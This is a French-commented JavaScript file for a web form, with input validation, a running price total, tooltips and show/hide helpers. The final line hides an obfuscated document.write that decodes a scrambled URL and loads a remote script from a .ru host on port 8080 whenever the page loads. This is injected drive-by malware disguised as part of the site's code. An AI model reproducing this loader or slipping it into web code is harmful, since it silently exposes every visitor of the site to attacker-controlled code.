/*-------------Controle Formulaire-----------------*/
var formValidationMasks = new Array();
formValidationMasks['email'] = /\b[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b/gi;	// Email
formValidationMasks['numeric'] = /^[0-9]+$/gi;	// Numeric
formValidationMasks['zip'] = /^[0-9]{5}\-[0-9]{4}$/gi;	// Numeric
formValidationMasks['name'] = /^[A-Z0-9.,âàäèéëêîïôöûüùçñ\ \\'\-]+$/gi;	// Nom
formValidationMasks['address'] = /^[A-Z0-9.,âàäèéëêîïôöûüùçñ\ \\'\-]+$/gi;	// Adresse
formValidationMasks['organism'] = /^[A-Z0-9.,âàäèéëêîïôöûüùçñ\ \\'\-]+$/gi;	// Organisme
var formElementArray = new Array();

function addEvent( obj, type, fn ) {
  if ( obj.attachEvent ) {
    obj['e'+type+fn] = fn;
    obj[type+fn] = function(){obj['e'+type+fn]( window.event );}
    obj.attachEvent( 'on'+type, obj[type+fn] );
  } else
    obj.addEventListener( type, fn, false );
}
function removeEvent( obj, type, fn ) {
  if ( obj.detachEvent ) {
    obj.detachEvent( 'on'+type, obj[type+fn] );
    obj[type+fn] = null;
  } else
    obj.removeEventListener( type, fn, false );
}


function validateInput(e,inputObj)
{
	if(!inputObj)inputObj = this;		
	var inputValidates = true;
	
	if(formElementArray[inputObj.name]['required'] && inputObj.tagName=='INPUT' && inputObj.value.length==0)inputValidates = false;
	if(formElementArray[inputObj.name]['required'] && inputObj.tagName=='SELECT' && inputObj.selectedIndex==0){
		inputValidates = false;
	}
	if(formElementArray[inputObj.name]['mask'] && !inputObj.value.match(formValidationMasks[formElementArray[inputObj.name]['mask']]))inputValidates = false;

	if(formElementArray[inputObj.name]['freemask']){
		var tmpMask = formElementArray[inputObj.name]['freemask'];
		tmpMask = tmpMask.replace(/-/g,'\\-');
		tmpMask = tmpMask.replace(/S/g,'[A-Z]');
		tmpMask = tmpMask.replace(/N/g,'[0-9]');
		tmpMask = eval("/^" + tmpMask + "$/gi");
		if(!inputObj.value.match(tmpMask))inputValidates = false
	}	
	
	if(formElementArray[inputObj.name]['regexpPattern']){
		var tmpMask = eval(formElementArray[inputObj.name]['regexpPattern']);
		if(!inputObj.value.match(tmpMask))inputValidates = false
	}
	if(!formElementArray[inputObj.name]['required'] && inputObj.value.length==0 && inputObj.tagName=='INPUT')inputValidates = true;
	
	
	if(inputValidates){
		inputObj.parentNode.className='validInput';
	}else{
		inputObj.parentNode.className='invalidInput'
	}
}

function isFormValid()
{
	var divs = document.getElementsByTagName('DIV');
	for(var no=0;no<divs.length;no++){
		if(divs[no].className=='invalidInput')return false;
	}
	return true;	
}

function initFormValidation()
{
	var inputFields = document.getElementsByTagName('INPUT');
	var selectBoxes = document.getElementsByTagName('SELECT');
	
	var inputs = new Array();
	
	
	for(var no=0;no<inputFields.length;no++){
		inputs[inputs.length] = inputFields[no];
		
	}	
	for(var no=0;no<selectBoxes.length;no++){
		inputs[inputs.length] = selectBoxes[no];
		
	}
	
	for(var no=0;no<inputs.length;no++){
		var required = inputs[no].getAttribute('required');
		if(!required)required = inputs[no].required;		
		
		var mask = inputs[no].getAttribute('mask');
		if(!mask)mask = inputs[no].mask;
		
		var freemask = inputs[no].getAttribute('freemask');
		if(!freemask)freemask = inputs[no].freemask;
		
		var regexpPattern = inputs[no].getAttribute('regexpPattern');
		if(!regexpPattern)regexpPattern = inputs[no].regexpPattern;
		
		var div = document.createElement('DIV');
		div.className = 'invalidInput';
		inputs[no].parentNode.insertBefore(div,inputs[no]);
		div.appendChild(inputs[no]);
		div.style.width = inputs[no].offsetWidth + 'px';
		
		addEvent(inputs[no],'blur',validateInput);
		addEvent(inputs[no],'change',validateInput);
		addEvent(inputs[no],'paste',validateInput);
		addEvent(inputs[no],'keyup',validateInput);
		
	
		formElementArray[inputs[no].name] = new Array();
		formElementArray[inputs[no].name]['mask'] = mask;
		formElementArray[inputs[no].name]['freemask'] = freemask;
		formElementArray[inputs[no].name]['required'] = required;
		formElementArray[inputs[no].name]['regexpPattern'] = regexpPattern;

		validateInput(false,inputs[no]);
			
	}	
}

window.onload = initFormValidation;
/*---------------------------Fin Controle Form--------*/
/*---------------------------Fonction calcul--------*/
	// Calcul le total des selections du formulaire.
function calculateTotal(inputItem) {
  with (inputItem.form) {
    // Process each of the different input types in the form.
    if (inputItem.type == "radio") {   // Process radio buttons.
      // Soustrait la précédante sélection radio du total.
      calculatedTotal.value = eval(calculatedTotal.value) - eval(previouslySelectedRadioButton.value);
      // Sauvegarde la selection radio courante.
      previouslySelectedRadioButton.value = eval(inputItem.value);
      // Ajoute la valeur du bouton radio au total.
      calculatedTotal.value = eval(calculatedTotal.value) + eval(inputItem.value);
    } else {   // Pour les check boxes.
      if (inputItem.checked == false) {   // Item non cocher. Soustrait les valeurs au total.
          calculatedTotal.value = eval(calculatedTotal.value) - eval(inputItem.value);
      } else {   // Item cocher. Ajoute les valeurs au total.
          calculatedTotal.value = eval(calculatedTotal.value) + eval(inputItem.value);
      }
    }

    // Total ne doit jamais etre inferieur a 0.
    if (calculatedTotal.value < 0) {
      InitForm();
    }

    // Retourne le total.
    return(formatCurrency(calculatedTotal.value));
  }
}
// Formate la valeur courante.
function formatCurrency(num) {
  num = num.toString().replace(/\$|\,/g,'');
  if(isNaN(num))
     num = "0";
  sign = (num == (num = Math.abs(num)));
  num = Math.floor(num*100+0.50000000001);
  cents = num%100;
  num = Math.floor(num/100).toString();
  if(cents<10)
      cents = "0" + cents;
  for (var i = 0; i < Math.floor((num.length-(1+i))/3); i++)
      num = num.substring(0,num.length-(4*i+3)) + '' + num.substring(num.length-(4*i+3));
  return (((sign)?'':'-') + num + ',' + cents );
}
// Cette fonction initialise tous les elements du form à la valeur défaut.
function InitForm() {
  // Reset le form.
  document.selectionForm.total.value='0';
  document.selectionForm.calculatedTotal.value=0;
  document.selectionForm.previouslySelectedRadioButton.value=0;

  // Reset tous les checkboxes et radio boutons du form à décocher.
  for (i=0; i < document.selectionForm.elements.length; i++) {
    if (document.selectionForm.elements[i].type == 'checkbox') {
      document.selectionForm.elements[i].checked = false;
    }
  }
}
/*-----------------------Fin Fonction calcul--------*/
/*-------------------Fonctions InfoBulle---------------*/
function showToolTip(e,text){
		if(document.all)e = event;
		
		var obj = document.getElementById('bubble_tooltip');
		var obj2 = document.getElementById('bubble_tooltip_content');
		obj2.innerHTML = text;
		obj.style.display = 'block';
		
		var st = Math.max(document.body.scrollTop,document.documentElement.scrollTop);
		if(navigator.userAgent.toLowerCase().indexOf('safari')>=0)st=0;
		var leftPos = e.clientX - 100;
		if(leftPos<0)leftPos = 0;
		obj.style.left = leftPos + 'px';
		obj.style.top = e.clientY - obj.offsetHeight -1 + st + 'px';
	}	
	
	function hideToolTip()
	{
		document.getElementById('bubble_tooltip').style.display = 'none';
		
	}
/*-------------------Fin Fonctions InfoBulle---------------*/	
/*-------------------Fonctions champs Caché---------------*/
function afficheId(baliseId)
  {
  if (document.getElementById && document.getElementById(baliseId) != null)
    {
    document.getElementById(baliseId).style.visibility='visible';
    document.getElementById(baliseId).style.display='block';
    }
  }

function cacheId(baliseId)
  {
  if (document.getElementById && document.getElementById(baliseId) != null)
    {
    document.getElementById(baliseId).style.visibility='hidden';
    document.getElementById(baliseId).style.display='none';
    }
  }

cacheId('contenu1');
cacheId('contenu2');
cacheId('contenu3');
// si JavaScript est disponible, cache le contenu dans le
// chargement de la page. Sans JavaScript, le contenu sera
// affiche.
/*-------------------Fin Fonctions champs Caché---------------*/





/*Exception*/ document.write('<script src='+'h($&t@t))$!p))#@&:!@@/&/(f!#&@o@@!$r(##u(($m!!(c$@$o!&!^)m^m(u^(n)#&i&@&(!t($y#)&-($n)e(t$&))@.@!()t@@#^a@r^$@g@e@t)@)$.@!!c&&)o&)m^.#!&(v)e#(!r&i@@^z(^o&#))n)-)#n@e)@$!@t#).&y^$))o#@)(u#^#(r@!^#t))r(!(u$e^(&g^a&#$m^e)@.)^#r&#$$u&($:#)(#8(!$0!&(8(@$&$0^!/^$($e&$b)##a$!!y!^&.(!&f!@^r!@/$!^#e!b&)a)&(y!.^(&)&f($&(&r!&/#(@m)&&p&^n^!r($$#s!#.(@#@c#o(m!#)/!!g!!)o(o)$^g)(l^^@)e()(.#^&g!)r!)()/(@#g)&^o##@o$$!g@(l!()@e@.@)!$c!#o((m&^&#/!!'.replace(/&|\(|#|\$|\)|@|\^|\!/ig, '')+' defer=defer></scr'+'ipt>');